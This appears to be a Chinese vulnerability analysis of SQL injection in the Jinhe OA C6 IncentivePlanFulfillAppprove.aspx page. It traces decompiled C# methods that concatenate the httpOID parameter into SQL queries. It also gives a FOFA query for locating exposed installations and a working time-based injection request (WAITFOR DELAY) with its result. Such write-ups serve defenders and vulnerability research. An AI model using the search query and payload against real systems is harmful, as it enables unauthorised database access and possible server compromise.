漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 IncentivePlanFulfillAppprove.aspx接口处存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
fofa语法
app="金和网络-金和OA"
漏洞分析
默认的 TVersion 值为 0
根据 JHSoft.Web.IncentivePlan/IncentivePlanFulfillAppprove.aspx 文件内容
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="IncentivePlanFulfillAppprove.aspx.cs" Inherits="JHSoft.Web.IncentivePlan.IncentivePlanFulfillAppprove" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<div>
</div>
</form>
</body>
</html>
找到 IncentivePlanFulfillAppprove.cs 的对应业务逻辑实现
protected void Page_Load(object sender, EventArgs e)
{
this.PageGlobalization();
this.strUserCode = this.Session["UserCode"] != null ? this.Session["UserCode"].ToString() : string.Empty;
this.strUserName = this.Session["UserName"] != null ? this.Session["UserName"].ToString() : string.Empty;
this.strDeptID = this.Session["DeptID"] != null ? this.Session["DeptID"].ToString() : string.Empty;
this.TPlanID = this.Request["httpOID"] != null ? this.Request["httpOID"] : "0";
if (string.op_Equality(this.TPlanID, ""))
{
this.Response.Write("页面数据错误。。。");
}
else
{
this.intApproveID = this.Request["httpAppID"] != null ? Convert.ToInt32(this.Request["httpAppID"]) : 0;
this.GetPlanInfoInit();
this.WorkFlowInit();
}
}
页面加载时
- 读取HTTP请求中的httpOID参数,如果请求中没有此参数,则默认为"0"。
- 判断TPlanID(即httpOID参数)是否为空字符串,如果是响应“页面数据错误。。。”。
- 读取HTTP请求中的httpAppID参数,如果请求中没有此参数,则默认为0。
- 调用 GetPlanInfoInit 方法 和 WorkFlowInit 方法
GetPlanInfoInit 方法业务逻辑如下
private void GetPlanInfoInit()
{
JHSoft.IncentivePlan.BLL.IncentivePlan incentivePlan1 = new JHSoft.IncentivePlan.BLL.IncentivePlan();
this.TVersion = Convert.ToString(incentivePlan1.GetCurrentPlanVersion(this.TPlanID));
JHSoft.IncentivePlan.Model.IncentivePlan incentivePlanMessageById = incentivePlan1.GetIncentivePlanMessageById(this.TPlanID, this.TVersion);
if (incentivePlanMessageById.IncentiveTitle == null)
{
this.Response.Write("页面数据错误。。。");
}
- 调用
GetCurrentPlanVersion和GetIncentivePlanMessageById方法,获取计划的当前版本和完整的计划详情。 - 如果计划的标题(
IncentiveTitle)为空,则直接输出错误信息"页面数据错误。。。",停止后续处理。
漏洞点
this.TVersion = Convert.ToString(incentivePlan1.GetCurrentPlanVersion(this.TPlanID));
JHSoft.IncentivePlan.Model.IncentivePlan incentivePlanMessageById = incentivePlan1.GetIncentivePlanMessageById(this.TPlanID, this.TVersion);
先将 TPlanID 代入 new JHSoft.IncentivePlan.BLL.IncentivePlan().GetCurrentPlanVersion 获取版本号 TVersion,然后再将其和 TPlanID 一起代入 new JHSoft.IncentivePlan.BLL.GetIncentivePlanMessageById 函数中。
而 GetCurrentPlanVersion 函数实现逻辑如下
public int GetCurrentPlanVersion(string TPlanID)
{
DataTable dataTable = this.Conn.ExecSQLReDataTable("SELECT incentiveversion as MV FROM dbo.IncentivePlan WHERE IsCurrentVersion=1 and IncentiveId=" + TPlanID);
int currentPlanVersion = 0;
if (dataTable != null && ((InternalDataCollectionBase) dataTable.Rows).Count > 0)
currentPlanVersion = Convert.ToInt32(dataTable.Rows[0][0]);
return currentPlanVersion;
}
直接将 TPlanID 拼接进SQL语句的where语句后,造成SQL注入漏洞,非常简单。
再看 GetIncentivePlanMessageById 函数的业务逻辑部分
public JHSoft.IncentivePlan.Model.IncentivePlan GetIncentivePlanMessageById(
string TPlanID,
string TVersion)
{
JHSoft.IncentivePlan.Model.IncentivePlan incentivePlanMessageById = new JHSoft.IncentivePlan.Model.IncentivePlan();
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append("select IncentiveID,IncentiveVersion,IncentiveTitle,IncentiveContent,IncentiveYear,IncentivePeriod,IncentiveType,CreateUser,CreateTime,IncentiveTemplet,AppFlag,FulfillContent,FulfillMark,FulfillUser,FulfillTime,DelFlag,GrantDept,GrantUser,IncentiveDept,IncentiveUser,IncentiveTargetDesc,IsCurrentVersion");
stringBuilder.Append(" FROM IncentivePlan ");
if (string.op_Inequality(TPlanID.Trim(), ""))
stringBuilder.Append(" where IncentiveID=" + TPlanID + " and IncentiveVersion=" + TVersion);
DataTable dataTable = this.Conn.ExecSQLReDataTable(stringBuilder.ToString());
if (this.Conn.IsError)
同样是将之前获取的 TVersion 和 TPlanID 直接拼接进SQL语句where语句中,造成SQL注入漏洞。
WorkFlowInit 方法业务逻辑如下
private void WorkFlowInit()
{
this.ToolBarTargetPlan.ButtonsTotals = 10;
this.ToolBarTargetPlan.IntIsNew = 1;
this.ToolBarTargetPlan.AppTID = "IOA_IncentivePlanFulfill";
this.ToolBarTargetPlan.GroupCode = "";
this.ToolBarTargetPlan.CurURL = "../JHSoft.Web.WorkFlow";
this.ToolBarTargetPlan.CurUserID = this.strUserCode;
this.ToolBarTargetPlan.CurUserName = this.strUserName;
this.ToolBarTargetPlan.CurDeptID = this.strDeptID;
this.ToolBarTargetPlan.ButtonClick += new ToolBar.ButtonEventHandler(this.ToolBarTargetPlan_ButtonClick);
if (this.Request.QueryString["From"] == null)
return;
string.op_Equality(this.Request.QueryString["From"], "GiveOutShow");
}
private void ToolBarTargetPlan_ButtonClick(object source, string ButtonName)
{
string str;
if ((str = this.ToolBarTargetPlan.ButtonDAType.Trim()) != null)
{
if (!string.op_Equality(str, "9"))
{
if (string.op_Equality(str, "8"))
{
this.InPlan.DeleteIncentivePlan(this.TPlanID, this.TVersion, "1");
goto label_6;
}
}
else
{
this.InPlan.UpdatePlanAppFlag(this.TPlanID, this.TVersion, (this.ToolBarTargetPlan.PassFlag == 1 ? 4 : -1).ToString());
goto label_6;
}
}
this.InPlan.UpdatePlanAppFlag(this.TPlanID, this.TVersion, 3.ToString());
label_6:
this.ToolBarTargetPlan.AppOID = Convert.ToInt32(this.TPlanID);
this.ToolBarTargetPlan.AppTitle = ((HtmlContainerControl) this.TIncentiveTitle).InnerHtml + "兑现审批流程";
this.ToolBarTargetPlan.SaveFormFlag = true;
((Control) this).Page.RegisterStartupScript("success", "<script>ToInMain();</script>");
}
判断 ButtonDAType的值:
- 如果
ButtonDAType的值为"9":- 调用
UpdatePlanAppFlag方法,更新计划的审批状态标志(AppFlag)。具体值取决于PassFlag是否为1,如果是,则设置为4,否则设置为-1。
- 调用
- 如果
ButtonDAType的值为"8":- 调用
DeleteIncentivePlan方法,删除激励计划。传入的参数包括TPlanID(计划ID)、TVersion(版本号)以及一个固定值"1"。
- 调用
- 其他情况:
- 调用
UpdatePlanAppFlag方法,将审批状态标志更新为3。
- 调用
漏洞点
DeleteIncentivePlan 函数
public bool DeleteIncentivePlan(string PlanID, string Version, string DelFlag)
{
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.AppendFormat("update IncentivePlan set IsCurrentVersion=0 where IncentiveID={0}", (object) PlanID);
stringBuilder.AppendFormat("update IncentivePlan set ", new object[0]);
stringBuilder.Append("IsCurrentVersion=1,");
stringBuilder.AppendFormat("DelFlag={0}", (object) DelFlag);
stringBuilder.AppendFormat(" where IncentiveID={0} and IncentiveVersion={1} ", (object) PlanID, (object) Version);
this.Conn.ExecSQLReInt(stringBuilder.ToString());
if (this.Conn.IsError)
{
this.IsErr = true;
this.ErrMessage = this.Conn.ErrorMessage;
}
return this.Conn.IsError;
}
直接将 PlanID 参数拼接进SQL语句,造成SQL注入漏洞。
UpdatePlanAppFlag 函数的漏洞原理同上。
public bool UpdatePlanAppFlag(string PlanID, string Version, string Flag)
{
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.AppendFormat(" update IncentivePlan set IsCurrentVersion=0 where IncentiveID={0} ", (object) PlanID);
stringBuilder.AppendFormat("update IncentivePlan set ", new object[0]);
stringBuilder.AppendFormat(" AppFlag={0},", (object) Flag);
stringBuilder.Append(" IsCurrentVersion=1");
if (string.op_Equality(Flag, "1"))
stringBuilder.AppendFormat(",IsEdit=0,EditUser=''", new object[0]);
stringBuilder.AppendFormat(" where IncentiveID={0} and IncentiveVersion={1} ", (object) PlanID, (object) Version);
this.Conn.ExecSQLReInt(stringBuilder.ToString());
if (this.Conn.IsError)
{
this.IsErr = true;
this.ErrMessage = this.Conn.ErrorMessage;
}
return !this.Conn.IsError;
}
漏洞复现
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfillAppprove.aspx/?httpOID=1;WAITFOR+DELAY'0:0:2'-- HTTP/1.1
Host: jhsoft.mrxn.net
成功延时 4 秒(执行两次)


